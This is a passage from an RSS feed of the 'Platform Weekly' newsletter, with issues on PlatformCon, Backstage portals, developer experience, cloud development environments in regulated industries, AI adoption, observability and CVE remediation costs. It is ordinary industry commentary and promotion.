crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 18 Sep 2023 00:00:00 GMT\n\n\n  Platform Engineering in 2025\n  https://platformweekly.com/issues/platform-engineering-in-2025\n  https://platformweekly.com/issues/platform-engineering-in-2025\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly gathering of the fellowship of the platform. This week we\u2019re taking the platforms to Isen- okay, this intro is stretching it. Every week Platform Weekly dives into another area of the platform engineering world sharing news, highlights from the community, best practices, learnings, and more.\nPlatform Engineering in 2026\n\u200d\nWith a 3-year track record now, I am more confident than ever that one of the most important things about PlatformCon is how much of a crystal ball it is for platform engineering as a whole.\nWith our PlatformCon Live days in London and New York this year, we\u2019re putting that into overdrive.\nIf you were watching PlatformCon 2023 virtually last year, you might\u2019ve seen your first mention of platform engineering reference architectures and platform as code. The topic had been discussed here and there throughout the community, but PlatformCon 2023 is where most of us really started thinking about it.\nBy PlatformCon 2024? More than 25% of talks featured reference architectures in that same model. A keen PC23 watcher could\u2019ve called that trend perfectly (a talk on that topic was the second most-watched talk of the year). The same idea goes for portals in 2022. \nThe massive explosion in Dev Portals caught me by surprise in 2023, but when I look at PC22? It was right there in front of my eyes. (and PC24 can let you see what happened next with that\ud83d\ude09)\nThere is a power to getting us all together and sharing insights, ideas, and best practices. Talking about our wins and our disasters. It\u2019s where we\u2019re able to get a sense of what's working, and what isn\u2019t.\nImagine how powerful it\u2019d be if we were in the same room.\nAt PlatformCon NYC in 2025, you could talk to a platform engineer from a major bank about why their MVP worked (or didn\u2019t work). You could speak to a newly minted DevEx platform engineer on how they stepped away from Backstage and cracked their adoption death spiral.\nThere is a reason we\u2019re going all in this year on workshops and trainings. It\u2019s all about getting the most out of this incredible resource of having us all together.\nNo one can say yet what future trends PlatformCon 2025 is going to tell us about, but I know that I\u2019ll be paying close attention to find out.]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  Finding your platform org\u2019s vision \ud83e\uddd0\n  https://platformweekly.com/issues/finding-your-platform-orgs-vision\n  https://platformweekly.com/issues/finding-your-platform-orgs-vision\n  \n  \nHey!\nEvery once in a while, I\u2019ll find a resource that\u2019s too good not to share with the community. This series by Doma\u2019s Michael Galloway is definitely one of those.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nFinding your platform org\u2019s vision\nSo your platform org has nailed down a killer mission statement. You have your why. The next step is defining your vision, or the what. Here are 5 steps to figuring that out, courtesy of this article from Michael Galloway.\n\n\nNail down what you need to achieve. Aka. What matters most to your stakeholders? Do your research to figure out how your platform org\u2019s efforts can best align with the goals of the business. Then confirm your findings with relevant stakeholders: leadership, product management, engineering, etc.\n\nLeverage your purpose. \ud83d\udcaa There are many different ways to approach the challenges your platform org was created to solve. Your mission statement provides the best lens to understand those challenges and how your team should address them.\n\nLeverage user research. Look through your interviews with developers to understand how your current setup is working (or not working) for your users. Combine this qualitative information with the data gathered from the tools and services the customers currently use to piece together a high-level journey. Then dive into the details to figure out the problems that are holding your setup back. You\u2019re looking for the metaphorical pebbles in your shoes \u2013 the problems that impede your ability to run fast.\n\nDefine your vision. \ud83d\udc40 Now that you know what you\u2019re working with, you can define how you\u2019re going to make the workflows better for your developers. Think of your vision like a story. A great vision is a simple story with characters your customers relate to and with a problem your customers recognize.\n\nMore feedback. Don\u2019t forget to check in with your users to see if the changes you want to implement resonates with our customers. \ud83d\ude09\nLooking for more concrete examples? Be sure to check out the full article, where Michael walks through what this process looked like at Doma.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 When it comes to Platform Engineering, SRE and DevOps, the debate is alive and well. Here is an interesting point of view: Is Platform Engineering is putting an end to DevOps and SRE?\n\ud83e\udd50 Have your heard of \"open source minimalism\"? This article from Mike Melanson says that \"problems arise when there is a mismatch between the complexity of the problem and that of the solution\".\n\ud83e\udd50 Podcast time. \ud83c\udf99\ufe0f Tune in to Ship It! podcast episode about Developer Experience Infrastructure (DXI) to get to know what that means, and how to improve it.\n\ud83e\udd50 How many people can relate?\ud83d\udc47\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. One community member did this amazing list of blogs that every SRE/DevOps/Platform Engineer enthusiasts should follow. You're welcome \ud83d\ude09\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 29 Mar 2023 00:00:00 GMT\n\n\n  Say hi at PlatformCon\n  https://platformweekly.com/issues/say-hi-at-platformcon\n  https://platformweekly.com/issues/say-hi-at-platformcon\n  \n  \nIf you\u2019re a long time reader of this newsletter, you know I get most of my insights from the sheer number of platform engineering conversations I get to have. PlatformCon this year will be my biggest opportunity yet.\nPlatformCon is the crystal ball of the platform engineering industry. In 2022, it predicted the meteoric rise in portals. In 2023, platform as code and infrastructure platform engineering reached a general audience for the first time, and in 2024, it saw AI explode onto the PE scene & dev portal hype fade into reality.\nWhat will happen next? Well, I already have my first hint from the over 1000+ submissions we\u2019ve received. But it is in-person where I will really look into that crystal ball.\nI\u2019ll be doing in-person trainings on Platform as a Product, designing and building your Minimum Viable Platform, and soaking up your experiences.\nI\u2019ll be listening to Kelsey Hightower, and Camille Fournier in New York, and Gregor Hohpe, and Nicki Watt in London (and many more).\nI\u2019ll be talking to you! And whoever else I can.\nI want to know. What have people learned in the last year? What are you building? How are you embracing Platform as a Product in your enterprise? What are your platform engineering challenges? How did you solve them?\nThere is no better way for us to learn.\nSee you there!]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Want to save $39m? Here's how.\n  https://platformweekly.com/issues/want-to-save-39m-heres-how\n  https://platformweekly.com/issues/want-to-save-39m-heres-how\n  \n  \nThe week of PlatformCon had over 200 hours of content. Across its 30 workshops, 100s of talks, and days of in-person content. But PlatformCon doesn\u2019t end there\u2026 as part of PlatformCon, the fun keeps going each week in our community webinars as they zoom on key topics from the week.\nThis week, Ed Sawma from Chainguard broke down for the community just how brutal common vulnerabilities and exposures (and most people's slow or inefficient remediation of them) are for the industry at large.\n\n\nMidmarket companies lose on average $3m a year just on CVE patching\n\nThis is WAY worse for a Healthcare company, where insecure container images alone are an est $39m risk (You can imagine how big that number would get on the scale of national healthcare systems or other major regulated industries)\n\nAnd it\u2019s not just big boyz, in growth-stage organizations, about $12 million in average annual revenue is blocked by delays in enterprise deals\nLet\u2019s keep the PlatformCon fun going. Check out this week's community webinar on CVEs and how to avoid them, or go further and walk through a modern software supply chain and see how to bake security into every stage of software delivery.\nThe week of PlatformCon might be over. But the fun never stops.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  5 must-read Platform Engineering books\n  https://platformweekly.com/issues/5-must-read-platform-engineering-books\n  https://platformweekly.com/issues/5-must-read-platform-engineering-books\n  \n  \nHey there! Welcome to Platform Weekly, your weekly snorkel in the platform engineering reef. Every week on Friday, we talk about the wide world of the platform engineering universe and share best practices, lessons, and news.\n5 must-read Platform Engineering books\nWe are clearly in the summer holiday season. How do I know? After sending last week\u2019s newsletter on Backstage, I received over TWO THOUSAND out-of-office email replies. It was insane watching them pour in last week. It made it pretty hard to use my email Friday night. \nBeyond the craziness of that fact alone, it represents just how much platform engineering is growing. Long time readers will know I like to use the platform engineering community as a gauge for the growth in the wider industry - this newsletter alone is more than 10x bigger than this time last year. And shows no sign of stopping.\nBut since it is summer season, and so many of you are on holiday - let\u2019s embrace the season with a push to read the crucial texts of platform engineering this year.\n\n\nPlatform Strategy - Gregor Hohpe: Released just a few months ago, I think this is already a must read. Gregor\u2019s PlatformCon talks are some of the best platform engineering content out there (and have been viewed over 30,000 times) and this book goes much much further\n\nTeam Topologies - Matthew Skelton & Manuel Pais: A very unsurprising addition to this list, Team Topologies is a foundational text of platform engineering, establishing and expanding on many of the major concepts of the discipline, most crucially Platform as a Product.\n\nAccelerate - Nicole Forsgren, Jez Humble, Gene Kim: If you haven\u2019t read this software engineering classic yet, you need to. Reading it and lessons through the lens of a platform engineer does a great job of demonstrating why platform engineering is so impactful.\n\nRemote Team Interactions Workbook - Matthew Skelton & Manuel Pais: With the chances of all your platform stakeholders being in the same buildin (let alone the same continent) being basically zero, this less-known book by Matthew and Manuel is a great and super helpful read.\n\nDevOps Benchmarking Study 2023 - Me (with help): Okay, bit cheeky to add this here (and pretty presumptuous). But last week I read this whitepaper I worked on in 2023, and I think there are few things that lay out as clearly the reason why DevOps is failing, and platform engineering is taking over. And at 55 pages it could pass for a novella, right?\nIf that isn\u2019t enough, or if you\u2019ve read these already - these are the foundational texts after all. There is currently over 300+ hours of PlatformCon content on the platform engineering Youtube channel. \nAnd 100s of pages of content on the platform engineering blog.\nI remember 4 years ago when there was almost nothing. And every new thing that came out was devoured by everyone in days. It\u2019s incredible how far we\u2019ve come.]]>\n  \n  Fri, 30 Aug 2024 00:00:00 GMT\n\n\n  Have a platform story? I have 35,000 ears\n  https://platformweekly.com/issues/have-a-platform-story-i-have-35-000-ears\n  https://platformweekly.com/issues/have-a-platform-story-i-have-35-000-ears\n  \n  \nHey there! This is Platform Weekly, your weekly journey down platform lane\ud83d\udeb6\u200d\u2642\ufe0f\nHave a platform story? I have 35,000 ears\nIt\u2019s now been almost 1 month since we officially launched registrations for PlatformCon24 and the numbers are to put it delicately - effing INSANE. If these current numbers hold (based on the last two years, it\u2019s likely they will), we\u2019re estimating almost 35,000 registrations to PlatformCon24\u2026\nThat makes it hands down the largest platform engineering event in the world.\nTo serve all those platform engineering fans, or as I like to call us, #PlatformNerds, we\u2019re going to need some pretty awesome talks. Luckily, we\u2019ve already already got almost every big name in the space from Gregor Hohpe and Nicki Watt, to Paula Kennedy and my friend and colleague Mallory Haigh. That still leaves a LOT of space though. \nWith 5 days of sessions, incl a day dedicated to Opensource and workshops? We need more.\nWE NEED YOU!\nLast year, we got 100s and 100s of submissions and I honestly had a blast watching them all, and I am telling you that some of the best, and most interesting talks came from this newsletter and from the Platform Engineering Slack community.\nI am certain the same will be true again. Submit your proposals!You tell the story, I\u2019ll bring the ears\ud83d\udd25\ud83d\udc42\nQuick bites\nArticles that blew me away: \n\n\nThe nature of work in Platform Engineering\nFrom the community:\n\n\nHelp me improve the Platform Engineering Community for 2024]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  State of AI in Platform Engineering in 2025\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-in-2025\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-in-2025\n  \n  \nThe State of AI in Platform Engineering has launched! You can download it now.\n240+ platform engineers surveyed, dozens of deep interviews, 100s of hours of reading and watching, and a staggering shift in how we\u2019re all using (and struggling with) AI.\nWhat did we learn? 89% of teams are using AI but the vast majority of teams are seeing zero value. Those who are? It\u2019s bc they have an effective Internal Developer Platform as a foundation for their AI goals.That\u2019s why this report aims to go further than just research, it\u2019s also a playbook for how you can succeed in AI.\n\n\nTwo worlds of AI in platforms: We kept seeing confusion between AI-powered platforms (using AI to enhance your developer platform i.e troubleshooting, natural language interfaces, policy enforcement) and platforms for AI (infra for ML engineers, scalable compute, model pipelines, secure data). Mixing the two leads to wasted sprints and mismatched goals\n\nThe \u201cAI implementation plateau\u201d: Teams race in with gen code and docs, leadership gets hyped and sets unrealistic or unthought out goals, then everything stalls. Slow progress, scaling issues, security fears, hallucinations, and skill gaps hit hard. The small % of winners are the ones who blast through this plateau.\n\nImpact isn\u2019t automatic: Code generation feels magical, but it doesn\u2019t move organizational productivity alone. Real ROI comes from targeted improvements like automating error triage, smarter observability, safer pipelines not blanket AI mandates. Blanket AI mandates are as detrimental as blanket AI bans.\nThese are five principles to breaking through the plateau we\u2019ve identified across top teams.\n\n\nAI amplifies your platform\u2019s flaws, so fix your foundations first.\n\nStart with clear outcomes (I.e \u201cReduce error analysis time\u201d, not something vague like \u201cuse more AI\u201d).\n\nTreat AI features like a product\n\nBuild pragmatic governance. Safe experimentation > blanket bans.\n\nInvest in your team\u2019s skills so AI isn\u2019t shadow IT\nThis report is a reality check. AI\u2019s everywhere, but value only comes when strong platform foundations meet clear intent and thoughtful rollout. Across 40+ pages, it breaks down each of these bullet points to help ensure you are the 5% who see real AI value in the enterprise.\nThe opportunity has never been bigger for platform engineers.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  Become a platform leader\n  https://platformweekly.com/issues/become-a-platform-leader\n  https://platformweekly.com/issues/become-a-platform-leader\n  \n  \nWith PlatformCon NYC and LDN this summer, I might\u2019ve talked to more people about platform engineering in the last 3 months than ever before. There is something that has really stuck with me since then. Platform engineering initiatives near and far are desperate for leadership.\nIn an article I wrote a few months ago on the Head of Platform Engineering role, I broke down a HOPE\u2019s (lol) key responsibilities:\n\n\nDefining the platform strategy\n\nImproving developer experience and productivity\n\nBalancing standardization and flexibility\n\nCollaboration across engineering and business units\n\nDriving AI and automation in platform engineering\nSound like something your platform initiative might be missing? You could be the change you want to see.\nEvery day, I am talking to engineers in grassroots platform initiatives that are stepping up and making a huge difference, or to platform team leads who\u2019re soaking up knowledge from the community to make their platform teams better.\nWhat do you think?]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n   I love backends (platform backends)\n  https://platformweekly.com/issues/i-love-backends-platform-backends\n  https://platformweekly.com/issues/i-love-backends-platform-backends\n  \n  \nHey there! This is platform weekly, your weekly climb up the platform engineering beanstalk. We cover the latest and greatest in the platform engineering world. \nI love backends (platform backends)\nIf you're reading this email, then it\u2019s a safe bet you're pretty interested, and fairly familiar with platform engineering already. You\u2019re definitely registered to the world\u2019s largest platform engineering conference, PlatformCon 2024. And you\u2019re probably already building an Internal Developer Platform.\nIt\u2019s time for a phrase you\u2019ve probably heard me say a thousand times already - we\u2019re in the stage now where it\u2019s not just about \u201cdoing platform engineering, it\u2019s about doing platform engineering right.\u201d And that means properly understanding platform backends.\nOver the last year, there has been a deluge of \u201cplatforms\u201d that can only be described as a frontend layer. Teams just take their current CI/CD pipeline and slap a portal on top of it, and celebrate that they\u2019re doing platform engineering now.\nThis might work for small teams of a few dozen developers, but once you get into the real weeds of platform engineering. This ain\u2019t enough.\nTrue ROI in platform engineering comes from standardization & automation.\nThe backend is where the logic to make that possible gets built. It is what lets your platform execute advanced and complicated requests, without breaking anything or needing a JIRA ticket and a dozen slack messages to get done. And how you build your backend is key to deciding whether your platform delivers the ROI that the last 3 years of platform hype have promised.\nWhat are you waiting for? Enter the backend.\nQuick bites\nArticles of the week:\n\n\nHow to build your platform engineering team\nFrom the community:\n\n\nMissed the 5 year anniversary of Team Topologies? Watch the recording!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform engineering at regulated industries\n  https://platformweekly.com/issues/platform-engineering-at-regulated-industries\n  https://platformweekly.com/issues/platform-engineering-at-regulated-industries\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly lay of platform engineering bricks. Every week, we unpack another piece of the best practices, news, and insights from the platform engineering community. This week we\u2019ve got another guest newsletter by Lou Bichard, he\u2019ll be sharing some thoughts on the new wave blasting it\u2019s way through regulated industries. Let\u2019s get crunchy\ud83e\udd50\nWhat\u2019s hot in platform engineering?\n\n\nHaven\u2019t answered the 2025 DevEx survey yet?\n\nThe Community Platform as a Product whitepaper gets an update\ud83d\udd25\n\nThe next certification class of Platform Engineering Fundamentals opens it\u2019s doors. Come join!\nMake regulated companies fun again\nPicture this: You\u2019re working at a neobank fintech startup. The vibes are great and your team is a bunch of cracked devs. Yeah it\u2019s hard work but it\u2019s fun. Then all of a sudden, there\u2019s chat about \u201cregulatory requirements\u201d and the CISO is talking about VDI\u2026\nYou can literally feel the energy draining from the company. \nAnd it\u2019s not even rolled out yet! Since it\u2019s not your first rodeo in fintech you know exactly what's coming: ridiculous constant disconnections and pure frustration. \nThat flow state you\u2019ve just got back? It\u2019s gone. \nSecurity is the achilles heel for platform in regulated industries\nFor platform engineering teams in regulated industries, this has always been an impossible situation. \nYou want to provide an amazing developer experience but you also need to maintain security and compliance. Tools like VDI are a deal with the devil where you trade developer productivity for security. For developers working in banks, healthcare, or government this has been the status quo forever. We have to hear our friends talk about their smooth development setups while we\u2019re over here writing code with chopsticks. \nBut something very interesting is happening in regulated industries now. (And I am not just highlighting it because I am known as the CDE guy in Platform Weekly).\nAccording to Gartner, by 2027, 40% of highly-regulated organizations will write software in secure, automated, standardized development environments (CDEs). Bear in mind this isn't just \u201canother Gartner tech prediction\u201d. We\u2019re already seeing the wheels turning in a fundamental shift to how regulated industries are approaching development that\u2019s already underway. There is a reason why one of the world\u2019s largest private equity funds just ditched their VDI for a CDE.\nGetting side-project flow whilst working in a regulated industry\nRemember that feeling from a side project? Perfect flow. Everything is simple. Restart the server, refresh the page and boom. Instant feedback loop. That's what we're talking about but in regulated industries. That means using your IDE of choice, so either VS Code or JetBrains. And it\u2019s literally those exact editors and not some frankenstein online web editor thing. \nFor platform teams, this is the breakthrough we've been waiting for. Instead of being the team that has to say \"it's complicated\" to every request, we get to be the team that delivers a development experience that our developers\u2014and us, too\u2014actually want to use. We can meet those security and compliance requirements, without compromising dev experience. \nThis is at the same time when the rise of AI and coding assistants makes regulated organizations realize how much they need to modernize their developer experience to even participate. Platform teams are at the critical epicenter of all these changes (great news for you). The days of clunky, slow, frustrating development in regulated industries could actually be seriously numbered. There\u2019s light at the end of the tunnel for actual developer experience in regulated industries.\n\u201cSounds good, but that won\u2019t work for us\u201d\nI know what you\u2019re thinking: \"This all sounds great, but it won't work for us\u201d. Because you have super strict security requirements, compliance needs, and regulatory obligations that will prevent the security team from even considering this. That\u2019s the thing, these tools pass security reviews at the world's most secure organizations. We're not talking about a potential, hypothetical future; this is already happening across the world\u2019s largest banks, healthcare providers and government entities. So it is not impossible that poor devex in regulated industries could become a thing of the past.\nNo-one wants to develop software where you can\u2019t even get the most simple development task done. It\u2019s soul-sucking and worse still it\u2019s often horrific for your career. You can literally feel your dev skills atrophying. \nIf you want to read more from someone other than myself, I suggest grabbing a copy of the Gartner Platform Engineering Hype Cycle that I shared above where you can find that exact quote. Let\u2019s forget making deals with the devil and no longer trade-off our developer experience for security through clunky VDI solutions.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  What we learned from Backstage implementations for 100k+ devs\n  https://platformweekly.com/issues/what-we-learned-from-backstage-implementations-for-100k-devs\n  https://platformweekly.com/issues/what-we-learned-from-backstage-implementations-for-100k-devs\n  \n  \nHey there!\nWe\u2019re starting off 2023 strong with a double feature\ud83e\udd73 First, we\u2019ll take a look at what The Frontside Software\u2019s CEO Taras Mankovski learned from implementing Backstage for more than 100k developers. Then, we\u2019re diving into the Platform Engineering community\u2019s wishlist for 2023.\nLet\u2019s get bakin\u2019\nWhat we learned from Backstage implementations for 100k+ devs\nSpotify\u2019s Backstage is a powerful tool for building developer portals, but not everyone is on the same page about how to use it. One major reason is that many folks in the community (mistakenly) believe that Backstage is a platform when it is actually an internal developer portal. According to Gartner, \u201cinternal developer portals serve as the interface through which developers can discover and access internal developer platform capabilities.\u201d Backstage is a framework to build your portal, not your platform.\nNow that we have that common misconception out of the way, let\u2019s dive into some practical tips for your Backstage implementation. \ud83d\ude09\nDo your research.\nYou\u2019ll want to ask your developers what they need and how you can make your portal a success. Here are a few suggestions \u2013 and potential solutions \u2013 based on our real-world experience. \nHow do you find info about an existing service?\nFinding information is a common challenge for developers. You can use an entity provider to populate your catalog with info from external sources, eliminating the need for developers to add it manually. \nHow are the docs?\nIf your developers are struggling to find relevant docs in platforms like Confluence, you can use Backstage\u2019s collator mechanism to connect the Search Plugin to the external Confluence service. This enables developers to query information and automatically add it to the index. If your docs are out of date, you can use the TechDocs Plugin to keep things \nHow do you start new projects?\nCombat complicated manual workflows for service creation with plugins like the Scaffolder Plugin. It gives you lots of options to promote golden paths and ease cognitive load. This is a great example of Backstage's true potential. Template-driven workflows can save engineers lots of time and enable your organization to move faster.\nTake advantage of annotations.\nCatalog Entity Annotations are a feature worth taking advantage of. They make it possible to decide what developers see on each Entity page in the portal \u2013 super useful information!\nThis is just a quick summary of Taras\u2019 \ud83d\udd25\ud83d\udd25\ud83d\udd25 article for the Platform Engineering community. Check out the full blog post here.\nWinter 2023 Wishlist\nAs the Platform Weekly family is growing, we\u2019re looking for more practitioners to contribute their insights and knowledge to the community! Here\u2019s what folks want to see this season:\n\n\nBook reviews \ud83d\udcda\n\nConference and webinar recaps\n\nOpinion pieces\n\nTooling and setup explanations (no vendors, please!)\n\nPlatform fails \ud83e\udd2a\n\nOpen source spotlights\n\nTips on:\n\nCalculating the ROI of a platform initiative\n\nMaking the business case for a platform\n\nMeasuring the impact of your platform\n\nBuilding a platform team\n\nProduct management for your platform\n\nAnd more!\n\nAnd, of course, memes\nAs a contributor, you\u2019ll be featured in a 300-350 word article (like the one you just read!) in a future issue of Platform Weekly. Reach an audience of 4k+ platform enthusiasts, contribute to the community, and get all of the bragging rights. \ud83d\ude0e Start your submission here.\n\n\ud83e\udd50 Is platform engineering a pathway for engineering organizations to increase developer productivity without increasing headcount? The folks at TechCrunch weigh in.\n\ud83e\udd50 Spotify Mobile Engineering Team recently migrated their platform to build with Bazel and shared what they learned.\n\ud83e\udd50 Platform engineering might be able to help with your Kubernetes woes, at least according to this article.\n\ud83e\udd50 OAM vs. Score. Which YAML actually rules them all?\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nDoes Platform Engineering help small R&D organizations cope with their inefficiencies?\n\nBackstage setup help!\n\nIs it bad to start as a DevOps engineer now? Is it already an irrelevant job title?\n\nWhat do you think of this new programming language for the cloud?\nAnd that\u2019s a wrap on our second Platform Weekly of the new year and our first-ever double feature. It\u2019s gonna be a big year for platform engineering, and I can\u2019t wait to see where this community goes next!\nAs always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  It's your last chance to speak at PlatformCon 2024\n  https://platformweekly.com/issues/its-your-last-chance-to-speak-at-platformcon-2024\n  https://platformweekly.com/issues/its-your-last-chance-to-speak-at-platformcon-2024\n  \n  \nHey there! This is Platform Weekly, your weekly swim through the Platform Engineering sea\ud83c\udf0a\nIt's your last chance to speak at PlatformCon2024\nWe\u2019re just two days away from the PlatformCon 2024 Call for Proposals closing (Monday 9am CET). There are currently over 300+ submissions and from how much my phone is blowing up with \u201cnew submission\u201d emails, we are going to massively blast through that number.\nRight now, we\u2019ve got some of the biggest names in platform engineering - but I can tell you from what I am seeing, a good chunk of the talks I am most interested in watching are from actual practitioners.\nJust like last year, the people who\u2019ve submitted through this newsletter have submitted some AWESOME topics, and I can\u2019t wait to watch them. \nIf you\u2019re reading this but hesitant to submit a talk, or just haven't got to it yet. DO IT. I want to see your talk! And, most likely\u2026 it\u2019s going to be one of the submissions most PlatformCon attendees really want to see\ud83d\udd25\nQuick bites\nArticles that blew me away: \n\n\nPlatform Engineering dies in 4 weeks\n\u200dFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  Platform teams need a delightfully different approach, not one that sucks less\n  https://platformweekly.com/issues/platform-teams-need-a-delightfully-different-approach-not-one-that-sucks-less\n  https://platformweekly.com/issues/platform-teams-need-a-delightfully-different-approach-not-one-that-sucks-less\n  \n  \nHey there! This is Platform Weekly, your weekly climb on the platform engineering jungle gym. This week with guest writer, Fawad Khaliq, CTO and Co-founder of Chkk.\nPlatform teams need a delightfully different approach, not one that sucks less\nThis week\u2019s edition of Platform Weekly is an excerpt from Fawad\u2019s latest article. Read the full article here.\nGartner estimates that by 2026, 80% of software engineering organizations will have established platform teams providing reusable services, components, and tools. While this trend sounds elegant and straightforward, the reality is anything but.\nThe challenges that platform teams experience can be broadly classified into the following buckets.\n#1: The \"shared responsibility model\" pushes complexity to platform teams.\nCloud providers handle only part of the platform stack, leaving teams to manage all the layers on top. Consequently, they must deliver better-than-yesterday features and scale to application teams, and make sure things never break\n#2: Change is a constant\u2026 and all changes are availability risks. \nPlatform teams face multiple change drivers: security fixes, application team requests for features, cluster upgrades, and frequent add-on updates. All this inflow of change must be ingested, prioritized, and executed by the platform team. Because changes cause disruptions, implementing changes takes forever. \n#3: Teams can\u2019t automate and hire fast enough to keep up with platform growth and support mission-critical applications.\nScarce platform talent, especially Cloud and DevOps Engineers, makes hiring challenging. Scaling headcount isn't sustainable. On-the-job training consumes skilled engineers' time, entangling them in repeated tasks and firefighting, leaving no room for innovation.\n#4 Reactive incident response is necessary but insufficient. \nIt involves experiencing incidents first-hand and manually researching solutions, consuming significant engineering resources without preventing future errors. As a result, firefights are a way of life and automation always take the back seat.\nThere has to be a better way\u2026\nIt seems impossible for a single company\u2019s platform team to solve these chronic challenges, but we believe it\u2019s possible if we enable them to \u201ccollectively learn\u201d from each other. A technological solution to ensure that:\n\n\nPlatform engineers can learn from the unstructured information available on the internet without having to read walls of text just to update a single component in the infrastructure, tracking versions through CLIs and APIs, etc. \n\n\nSilos are broken across different platform teams so that learnings are programmatically shared, similar to CVE's role in security, creating a \u201cCVE for Availability\u201d. \nSolving these challenges requires a \u201ctrusted broker\u201d that can collect information from all the sources, validate it, curate it as programmatic signatures, and publish it broadly for everyone\u2019s benefit.\nRead the full article here.\nQuick bites\nArticles that blew me away:\n\n\nPrioritizing DevEx: The Core of Successful Platform Engineering\n\nEmbracing Microservices: The Platform Engineer's Guide\nFrom the community:\n\n\nWhat\u2019s the real meaning behind IDP?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Observability for platform engineers\n  https://platformweekly.com/issues/observability-for-platform-engineers\n  https://platformweekly.com/issues/observability-for-platform-engineers\n  \n  \nPlatform engineering is eating the world. That will be the defining theme of our industry over the coming years. Whether you call that \u201cshifting down\u201d like Google or just the inevitable progression of platform engineering, it\u2019s clear that platforms will grow to absorb more and more domains.\nDoes that mean domains like security and observability become obsolete? Hell no. They become more important than ever, and more important to YOU than ever.\nThat is why yesterday we launched a free course focused on Observability for platform engineers with Dash0. It covers:\n\n\nFoundations: The origins of observability, how it differs from monitoring, and why it is essential for understanding not just what is happening but why.\n\nTelemetry and standards: Covers the different telemetry signals (logs, metrics, traces, profiles, RUM), the importance of context and correlation, and the role of OpenTelemetry and semantic conventions in ensuring consistency, interoperability. Insights you can actually action on\n\nWhat you need to do: How platform engineers can treat observability as a product feature, and \u201cshift it down\u201d into the platform providing auto-instrumentation, default dashboards, and correlation while fighting through challenges like inconsistency, vendor lock-in, tool fragmentation through OSS observability stacks etc etc.\nAs platforms expand to integrate more and more domains, it\u2019s crucial that platform engineers understand what this entails and how to thrive in this. \nYou don\u2019t need to be an observability expert, but you need to understand what it is, and how to get the absolute most out of it in your platform for your platform's customers.]]>\n  \n  Thu, 11 Sep 2025 00:00:00 GMT\n\n\n  Don't forget DevEx!\n  https://platformweekly.com/issues/dont-forget-devex\n  https://platformweekly.com/issues/dont-forget-devex\n  \n  \nHey there. It\u2019s Platform Weekly, the bread to your DevOps butter. Let\u2019s get bakin\u2019\nDon't forget DevEx\nFernando Villalba, Senior Tech Evangelist at HumanitecYou need better DevEx in your life. If your goal is to deliver better software faster, any process improvement that does not improve the developer experience is wasted. Bad DevEx results in:\n\n\nBurnout: Developers spend most of their energy completing tasks that don\u2019t produce immediate value, become unhappy, and leave.\n\nSlow software delivery: Too many processes and bad tooling slow down deployment cycle.\n\nDeveloper churn rate.\n\ud835\udc16\ud835\udc21\ud835\udc1a\ud835\udc2d \ud835\udc22\ud835\udc2c \ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc1e\ud835\udc25\ud835\udc28\ud835\udc29\ud835\udc1e\ud835\udc2b \ud835\udc04\ud835\udc31\ud835\udc29\ud835\udc1e\ud835\udc2b\ud835\udc22\ud835\udc1e\ud835\udc27\ud835\udc1c\ud835\udc1e (\ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc04\ud835\udc31, \ud835\udc03\ud835\udc17)?\nDevEx is a cultural approach that aims to simplify all areas that don\u2019t contribute to the creative output and the delivery of applications for developers. It is achieved by simplifying or eliminating the following concerns for developers:\n\n\nConfiguration management: configuration drift and difficulties finding resource configuration for workloads.\n\nInfrastructure provisioning:  learning terraform, IaC, or the temptation to do ClickOps. \n\nEnvironment configuration: Creating new environments is easy, no need to specify configuration for each and every environment.\n\nTedious processes: Processes that take too many steps or require too many third parties.\n\nCognitive load: Good DevEx implements Standardization by Design, easing the task of making too many long-term judgment calls that require a lot of planning and thinking.\n\nTooling with bad UX: Tooling that has a bad user experience, even if it offers more features, is very tiring to use because it takes longer to learn and is more tedious to use. Good DevEx picks and designs tools that favor usability over a disjointed feature stack. \n\ud835\udc07\ud835\udc28\ud835\udc30 \ud835\udc1d\ud835\udc28 \ud835\udc0f\ud835\udc25\ud835\udc1a\ud835\udc2d\ud835\udc1f\ud835\udc28\ud835\udc2b\ud835\udc26 \ud835\udc04\ud835\udc27\ud835\udc20\ud835\udc22\ud835\udc27\ud835\udc1e\ud835\udc1e\ud835\udc2b\ud835\udc22\ud835\udc27\ud835\udc20, \ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc0e\ud835\udc29\ud835\udc2c \ud835\udc1a\ud835\udc27\ud835\udc1d \ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc04\ud835\udc31 \ud835\udc1c\ud835\udc28\ud835\udc26\ud835\udc29\ud835\udc1a\ud835\udc2b\ud835\udc1e?Platform Engineering aims to implement Internal Developer Platforms, which often have a product owner and/or follow UX principles to make them user-friendly. Internal Developer Platforms solve the issues that make poor DevEx.. \nDevEx is not exclusive to DevOps. DevOps 